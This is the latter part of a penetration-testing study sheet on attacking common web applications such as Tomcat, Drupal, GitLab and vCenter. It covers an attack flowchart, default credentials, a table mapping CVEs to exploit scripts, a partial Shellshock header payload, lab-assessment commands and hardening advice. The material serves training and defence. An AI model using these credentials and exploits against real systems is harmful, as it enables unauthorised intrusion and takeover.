       <path class="fedge" d="M800,448 L540,520" marker-end="url(#flow-arrow)" />
       <g class="fnode is-entry"><rect class="fnode__box" x="360" y="40" width="180" height="48" /><text class="fnode__label" x="450" y="68" text-anchor="middle">Unknown app found</text></g>
       <g class="fnode is-decision"><rect class="fnode__box" x="350" y="160" width="200" height="48" /><text class="fnode__label" x="450" y="188" text-anchor="middle">Default creds?</text></g>
       <g class="fnode"><rect class="fnode__box" x="150" y="280" width="180" height="48" /><text class="fnode__label" x="240" y="308" text-anchor="middle">Admin access</text></g>
       <g class="fnode is-decision"><rect class="fnode__box" x="540" y="280" width="240" height="48" /><text class="fnode__label" x="660" y="308" text-anchor="middle">Known CVE for this version?</text></g>
       <g class="fnode"><rect class="fnode__box" x="425" y="400" width="190" height="48" /><text class="fnode__label" x="520" y="428" text-anchor="middle">Public exploit / PoC</text></g>
       <g class="fnode"><rect class="fnode__box" x="680" y="400" width="240" height="48" /><text class="fnode__label" x="800" y="420" text-anchor="middle">Read the docs → find built-in<tspan class="sub" x="800" dy="15">functionality to abuse</tspan></text></g>
       <g class="fnode is-goal"><rect class="fnode__box" x="325" y="520" width="290" height="48" /><text class="fnode__label" x="470" y="548" text-anchor="middle">RCE via deploy/upload/script feature</text></g>
       <g class="felabel"><rect class="felabel__box" x="330" y="236" width="30" height="16" /><text class="felabel__text" x="345" y="247" text-anchor="middle">Yes</text></g>
       <g class="felabel"><rect class="felabel__box" x="543" y="236" width="24" height="16" /><text class="felabel__text" x="555" y="247" text-anchor="middle">No</text></g>
       <g class="felabel"><rect class="felabel__box" x="575" y="356" width="30" height="16" /><text class="felabel__text" x="590" y="367" text-anchor="middle">Yes</text></g>
       <g class="felabel"><rect class="felabel__box" x="718" y="356" width="24" height="16" /><text class="felabel__text" x="730" y="367" text-anchor="middle">No</text></g>
     </svg>
   </div>
 </figure>
 
 ### Honourable mentions
 
 | Application | Where to start |
 |---|---|
 | **Axis2** | Often on Tomcat. Weak/default admin creds → upload a web shell as an AAR (like a Tomcat WAR). Metasploit module exists. |
 | **WebSphere** | Default `system:manager` → deploy a WAR for RCE. |
 | **Elasticsearch** | Multiple serious CVEs; hunt forgotten/unauth instances (HTB *Haystack*). |
 | **Zabbix** | SQLi, auth bypass, stored XSS, LDAP password disclosure, RCE; the API itself is abusable (HTB *Zipper*). |
 | **Nagios** | History of RCE/privesc/SQLi/XSS. Default `nagiosadmin:PASSW0RD`. |
 | **WebLogic** | Java EE server, 190+ CVEs, many unauth deserialisation RCEs (2007–2021). |
 | **Wikis/intranets** | MediaWiki, SharePoint, custom builds — known CVEs plus search features that surface credentials. |
 | **DotNetNuke (DNN)** | .NET CMS — auth bypass, traversal, file-upload bypass, arbitrary download. SQL Console → `xp_cmdshell`. |
 | **vCenter** | Weak creds + CVE-2021-22005 (unauth OVA-upload RCE). Often already SYSTEM or domain admin — a single point of full compromise. |
 
 ### Hardening reference
 
 - **Authentication:** strong passwords, change/disable default admin accounts, MFA for admins.
 - **Access controls:** keep admin/login pages internal unless there's a real need; deny uploads/deploys where not required.
 - **Disable unsafe features:** in-browser PHP editing (WordPress Theme Editor, Drupal PHP Filter) is a built-in RCE primitive even after a credential compromise.
 - **Patch promptly:** nearly every exploit here is version-gated and long fixed upstream.
 - **Inventory everything:** including shadow IT and forgotten trials — an org can't protect what it doesn't know exists (the Splunk trial is the poster child).
 
 | App | Fix |
 |---|---|
 | WordPress | Security plugin (WordFence) for monitoring, blocking, MFA |
 | Joomla | Gate the admin login behind a secret key (AdminExile) |
 | Drupal | Disable/hide/move the admin login |
 | Tomcat | Restrict Manager/Host-Manager to localhost or IP-whitelist + strong non-standard creds |
 | Jenkins | Fine-grained perms via the Matrix Authorization Strategy plugin |
 | Splunk | Change defaults; license properly so auth can't silently lapse |
 | PRTG | Patch; change the default `prtgadmin` password |
 | osTicket | Limit internet exposure |
 | GitLab | Restrict sign-up (admin approval, allowed email domains) |
 
 ---
 
 ## 18 · Skills assessments `fas:Terminal`
 
 Three narrative labs against dynamically spawned INLANEFREIGHT targets. There are no fixed flags to reproduce — the value is running the whole method end to end and recording exact commands, output, and derived creds against your own instance.
 
 > [!example]+ Assessment I — foothold on the one soft host
 > A well-hardened network with one interesting host. Enumerate → fingerprint every web app → default creds + version CVEs → abuse built-in functionality → `flag.txt`.
 > ```bash
 > sudo nmap -sV -sC -p- --open <target>
 > ```
 
 > [!example]+ Assessment II — the "boring" host hiding GitLab
 > Re-enumerate a host that first seemed dull; a note points at `gitlab.inlanefreight.local`. Apply the [GitLab method](#10--gitlab-fasterminal--lab-port-8081) in full: `/etc/hosts` → `/explore` → self-registration → username enum → confirm version against the ExifTool RCE class.
 
 > [!example]+ Assessment III — hardcoded MSSQL password
 > A Windows host with valid Administrator creds; find the MSSQL service password. Straight application of §16:
 > ```bash
 > evil-winrm -i <target> -u Administrator -p '<password>'
 > #  locate the MSSQL-connecting binary → GDB/x64dbg breakpoint (native) or dnSpy (.NET)
 > ```
 
 `evil-winrm` is still the standard for interactive WinRM. Across all three, an `httpx`/`nuclei` sweep speeds the initial fingerprint before the manual, app-specific work.
 
 ---
 
 ## Quick reference `fas:ClipboardList`
 
 **Default credentials:** Tomcat `tomcat:tomcat` / `tomcat:s3cret` · Splunk `admin:changeme` · PRTG `prtgadmin:prtgadmin` · Nagios `nagiosadmin:PASSW0RD` · WebSphere `system:manager`.
 
 **Key ports:** Tomcat 8080/8180 · AJP 8009 · Jenkins 8080 (agent 5000) · Splunk 8000/8089 · PRTG 8080 · ColdFusion 8500 · GitLab (lab) 8081 · LDAP 389/636 · MSSQL 1433.
 
 | CVE | Target | Class | Delivery |
 |---|---|---|---|
 | CVE-2020-24186 | WordPress wpDiscuz | unauth upload RCE | `wp_discuz.py` |
 | CVE-2019-10945 | Joomla core 1.5.0–3.9.4 | auth traversal + file delete | `joomla_dir_trav.py` |
 | CVE-2014-3704 | Drupal 7.0–7.31 | pre-auth SQLi → rogue admin | `drupal_drupageddon` |
 | CVE-2018-7600 | Drupal <7.58/<8.5.1 | pre-auth RCE (Drupalgeddon2) | `drupalgeddon2.py` |
 | CVE-2018-7602 | Drupal | auth RCE (Drupalgeddon3) | `drupal_drupageddon3` |
 | CVE-2020-1938 | Tomcat <9.0.31/8.5.51/7.0.100 | unauth AJP file read (Ghostcat) | `tomcat-ajp.lfi.py` |
 | CVE-2019-0232 | Tomcat (Windows CGI) | command injection | `ffuf` + URL-encoded query |
 | CVE-2018-9276 | PRTG <18.2.39 | auth command injection | notification "Execute Program" |
 | CVE-2021-22205 | GitLab | unauth ExifTool RCE | (successor to ≤13.10.2 auth RCE) |
 | CVE-2014-6271 | Bash/CGI | Shellshock | `curl -H 'User-Agent: () { :; };…'` |
 | CVE-2010-2861 | ColdFusion ≤9.0.1 | traversal → cred leak | `14641.py` |
 | CVE-2009-2265 | ColdFusion ≤8.0.1 | unauth FCKeditor RCE | `50057.py` |
 | CVE-2021-22005 | vCenter | unauth OVA-upload RCE | — |
 
 ## Lessons learned `fas:Lightbulb`
 
 1. **Version is the whole game.** Every CVE here is gated on an exact version — pull it from the generator meta, `CHANGELOG.txt`, `joomla.xml`, `/docs`, or a favicon hash *before* you pick an exploit.
 2. **Admin console ≈ RCE.** Theme/template editors, the Jenkins Script Console, Tomcat Manager, Splunk apps, PRTG notifications — default creds plus a short spray reach them more often than a CVE does.
 3. **Upload = a live backdoor.** WAR/plugin/app uploads leave a shell on disk. Record the path and remove it at cleanup; match shell language to server (VBScript→`.asp`, C#→`.aspx`, JSP→WAR).
 4. **Apps carry other systems' creds.** Config files, connection strings, and osTicket/GitLab secrets feed straight into [service attacks](/sheets/pentest-workflow/attacking-common-services-guide) and lateral movement — test every recovered credential for reuse.
 5. **Scanners and eyes are complementary.** WPScan missed plugins that `curl | grep` caught; run both.
 6. **`dev`/`qa`/`acc` first.** Non-prod copies are patched last and gated loosest.
 
 ## References `fas:BookOpen`
 
 1. [HTB Academy — Attacking Common Applications](https://academy.hackthebox.com/module/details/113)
 2. [WPScan](https://wpscan.com/) · [droopescan](https://github.com/SamJoan/droopescan)
 3. [CVE-2020-24186 — wpDiscuz RCE](https://www.exploit-db.com/exploits/48706) · [CVE-2019-10945 — Joomla traversal](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945)
 4. Drupalgeddon: [CVE-2014-3704](https://nvd.nist.gov/vuln/detail/CVE-2014-3704) · [CVE-2018-7600](https://nvd.nist.gov/vuln/detail/CVE-2018-7600) · [CVE-2018-7602](https://nvd.nist.gov/vuln/detail/CVE-2018-7602)
 5. Tomcat: [Ghostcat CVE-2020-1938](https://nvd.nist.gov/vuln/detail/CVE-2020-1938) · [CVE-2019-0232](https://nvd.nist.gov/vuln/detail/CVE-2019-0232) · [tennc/webshell](https://github.com/tennc/webshell)
 6. [Jenkins security advisories](https://www.jenkins.io/security/advisories/) · [Splunk custom apps](https://dev.splunk.com/enterprise/)
 7. [CVE-2018-9276 — PRTG](https://nvd.nist.gov/vuln/detail/CVE-2018-9276) · [HTB Netmon](https://app.hackthebox.com/machines/Netmon)
 8. [CVE-2021-22205 — GitLab ExifTool RCE](https://nvd.nist.gov/vuln/detail/CVE-2021-22205) · [Exploit-DB 49951 — GitLab 13.10.2 auth RCE](https://www.exploit-db.com/exploits/49951)
 9. [CVE-2014-6271 — Shellshock](https://nvd.nist.gov/vuln/detail/CVE-2014-6271)
 10. ColdFusion: [CVE-2010-2861](https://nvd.nist.gov/vuln/detail/CVE-2010-2861) · [CVE-2009-2265](https://nvd.nist.gov/vuln/detail/CVE-2009-2265)
 11. [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)
 12. [OWASP — LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection) · [OWASP — Mass Assignment](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)
 13. Reversing: [Ghidra](https://ghidra-sre.org/) · [dnSpyEx](https://github.com/dnSpyEx/dnSpy) · [GEF](https://github.com/hugsy/gef) · [FLOSS](https://github.com/mandiant/flare-floss)
 
 ## Image credits `fas:BookOpen`
 
 Logos are re-hosted from Wikimedia Commons for identification only and remain the trademarks of their respective owners. The table below carries the author and licence for each — this satisfies the attribution/notice terms of the CC BY-SA, GPL, and MIT marks; public-domain and CC0 marks are listed for completeness.
 
 | Image | Author / owner | Licence | Source |
 |---|---|---|---|
 | WordPress | WordPress Foundation | Public domain (PD-textlogo) | [Commons](https://commons.wikimedia.org/wiki/File:WordPress_logo.svg) |
 | Joomla | Open Source Matters | Public domain | [Commons](https://commons.wikimedia.org/wiki/File:Joomla!-Logo.svg) |
 | Drupal (Druplicon) | Drupal project | GPL-2.0 | [Commons](https://commons.wikimedia.org/wiki/File:Druplicon.vector.svg) |
 | Apache Tomcat | Apache Software Foundation | Public domain | [Commons](https://commons.wikimedia.org/wiki/File:Apache_Tomcat_logo.svg) |
 | Jenkins | The Jenkins project | CC BY-SA 3.0 | [Commons](https://commons.wikimedia.org/wiki/File:Jenkins_logo_with_title.svg) |
 | Splunk | Splunk Inc. | Public domain | [Commons](https://commons.wikimedia.org/wiki/File:Splunk_logo.svg) |
 | PRTG | Paessler AG | CC BY-SA 4.0 | [Commons](https://commons.wikimedia.org/wiki/File:PRTG_Logo.svg) |
 | osTicket | Rajsinghnovanet (Commons) | CC BY-SA 4.0 | [Commons](https://commons.wikimedia.org/wiki/File:Osticket_long_logo.png) |
 | GitLab | GitLab B.V. | MIT | [Commons](https://commons.wikimedia.org/wiki/File:GitLab_logo.svg) |
 | Adobe ColdFusion | Adobe Inc. | Public domain (PD-textlogo) | [Commons](https://commons.wikimedia.org/wiki/File:Adobe_ColdFusion_logo_2021.svg) |
 | Microsoft IIS | Tanya Pradhan (Commons) | CC BY-SA 4.0 | [Commons](https://commons.wikimedia.org/wiki/File:Iis-logo.png) |
 | Shellshock bug | Wikimedia Commons | CC0 (public domain) | [Commons](https://commons.wikimedia.org/wiki/File:Shellshock-bug.svg) |
 
 ---
 
 [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Web enum deep-dive →](/sheets/pentest-workflow/web-enumeration-and-exploitation)